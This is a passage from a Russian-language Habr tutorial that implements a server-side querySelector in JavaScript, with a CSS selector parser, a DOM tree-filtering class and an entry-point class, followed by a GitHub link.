current = current.split("=");
res.push({key: current[0], value: current[1]});
} else if (str[i] === '>') {
res.push({key: '', value: str[i]});
} else if (str[i] === ' ') {
res.push({key: '', value: str[i]});
} else if(str[i] !== '') {
res.push({key: 'tag', value: str[i]});
}
}
//merge
let mergeRes = [];
let t = [];
for (var i = 0; i <= res.length - 1; i++) {
if (res[i].value === ' ') {
mergeRes.push(t);
t = [];
} else {
t.push(res[i]);
}
}
mergeRes.push(t);
//
return mergeRes;
}
utils = {
lex(str) {
let res = '';
for (var i = 0; i <= str.length - 1; i++) {
res += str[i];
if (str[i + 1] === "." || str[i + 1] === '#' || str[i + 1] === '>' || str[i + 1] === '[' || (str[i] === ' ')) {
res += "\n";
} else if (str[i + 1] === " ") {
res += "\n"
}
}
return res.split("\n");
}
}
}
```
3.2) Теперь отфильтруем дом\_ноды по кссселекторам
```
class treeWorker {
//Текущий массив дом_ноде
_tree;
//Построить массив элементов всех детей ноды
setCurrentTreeByNode(node) {
let tree = this._getChildrens([node]);
this._tree = tree;
}
//Основной цикл, где мы и фильтруем dom по дереву кссселекторов
filtredBySelector(selector) {
let cssselectorParser = new cssSelectorParser();
selector = cssselectorParser.parse(selector);
let res;
for (let i = 0; i <= selector.length - 1; i++) {
let currentSelector = selector[i];
let key;
let item;
let isArrowSelector = (currentSelector[0].value === '>');
if (isArrowSelector) {
continue;
}
for (var j = 0; j < currentSelector.length; j++) {
key = currentSelector[j].key
item = currentSelector[j].value;
this._filtredByAttribute(key, item)
}
res = this._tree;
let nextSelectorArrow = selector[i + 1] && selector[i + 1][0] && selector[i + 1][0].value === '>';
this._sliceChildrens(nextSelectorArrow)
}
return res;
}
//Построить весь хтмл ноды
getInnerHTML(dom_node, cliFormat = false) {
let res = '';
let lvl = -1;
function deep(node) {
let leftMargin = '';
for (let i = 0; i <= lvl; i++) {
leftMargin += (cliFormat) ? ' ' : '';
}
res += leftMargin + '<' + node.tag + ">"
res += (cliFormat) ? "\n" : "";
res += (cliFormat && node.innerTEXT !== '') ? leftMargin + ' ' : '';
res += node.innerTEXT;
res += (cliFormat && node.innerTEXT !== '') ? "\n" : "";
node.childrens.forEach((childNode) => {
lvl++;
deep(childNode);
lvl--;
});
res += leftMargin + '';
res += (cliFormat && lvl !== -1) ? "\n" : "";
}
deep(dom_node);
return res;
}
//Фильтрация текущего массива дом_ноде по аттрибутам
_filtredByAttribute(_key, _value) {
this._tree = this._tree.filter((item) => {
let currentAttr = item.attr.find((attr) => attr.key === _key);
if (currentAttr) {
return currentAttr.value.includes(_value.trim())
}
});
}
//Получить детей(первый срез или весь) текущего массива дом_ноде
_sliceChildrens(firstChild = false) {
let res = [];
if (firstChild) {
for (let i = 0; i <= this._tree.length - 1; i++) {
res.push(...this._tree[i].childrens);
}
} else {
res = this._getChildrens(this._tree)
}
this._tree = res;
}
//Получить всех детей дом нод
_getChildrens(currentNodes) {
//get all childs
let allChilds = [...currentNodes];
let queue = [...currentNodes];
while(queue.length){
let item = queue.shift();
for(let i = 0; i <= item.childrens.length - 1; i++){
queue.push(item.childrens[i]);
allChilds.push(item.childrens[i]);
}
}
return allChilds;
}
}
```
Рассмотрим подробнее — Основной цикл, где мы и фильтруем «текущие элементы dom» по дереву кссселекторов.
//
**Храним текущие дом\_ноды в this.\_tree, фильтруем их, нарезаем детей, репит**

```
filtredBySelector(selector) {
let cssselectorParser = new cssSelectorParser();
//Получаем дерево кссселекторов
selector = cssselectorParser.parse(selector);
let res;
//проходим по дереву
for (let i = 0; i <= selector.length - 1; i++) {
let currentSelector = selector[i];
let key;
let item;
//если текущ элем дерева - эрров - пропускаем фильтр
let isArrowSelector = (currentSelector[0].value === '>');
if (isArrowSelector) {
continue;
}
//проходим по всем элементам текущего кссселектора
for (var j = 0; j < currentSelector.length; j++) {
key = currentSelector[j].key
item = currentSelector[j].value;
//фильтруем текущее this._tree по аттрибутам
this._filtredByAttribute(key, item)
}
}
res = this._tree;
//если следующий элемент - эрров - срезаем только первый слой, если нет - всех детей
let nextSelectorArrow = selector[i + 1] && selector[i + 1][0] && selector[i + 1][0].value === '>';
this._sliceChildrens(nextSelectorArrow)
}
return res;
}
```
//
Эти сущности и выполняют основную работу, теперь создадим входную сущность documentServer.
```
class documentServer {
builderDOM = new BuilderDOM();
domTreeWorker;
startNode;
querySelector(selector) {
this.domTreeWorker.setCurrentTreeByNode(this.startNode);
return this.domTreeWorker.filtredBySelector(selector);
}
build(str) {
this.domTreeWorker = new treeWorker();
global.treeworker = this.domTreeWorker;
let dom = this.builderDOM.html_to_dom(str);
global.treeworker = null;
this.startNode = dom[0];
}
}
```
Осталось реализовать фичу — квериселектор из ноды, поэтому прокинем domTreeWorker в дом\_ноду через глобал
```
class dom_node {
childrens = [];
innerTEXT = '';
tag;
treeWorker;
constructor() {
this.treeWorker = global.treeworker;
}
innerHTML = (cliFormat = false) => {
return this.treeWorker.getInnerHTML(this, cliFormat);
};
querySelector = (selector) => {
this.treeWorker.setCurrentTreeByNode(this);
return this.treeWorker.filtredBySelector(selector);
}
}
```
[Ссылка на гитхаб](https://github.com/ru51a4/server-queryselector) | https://habr.com/ru/post/703010/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.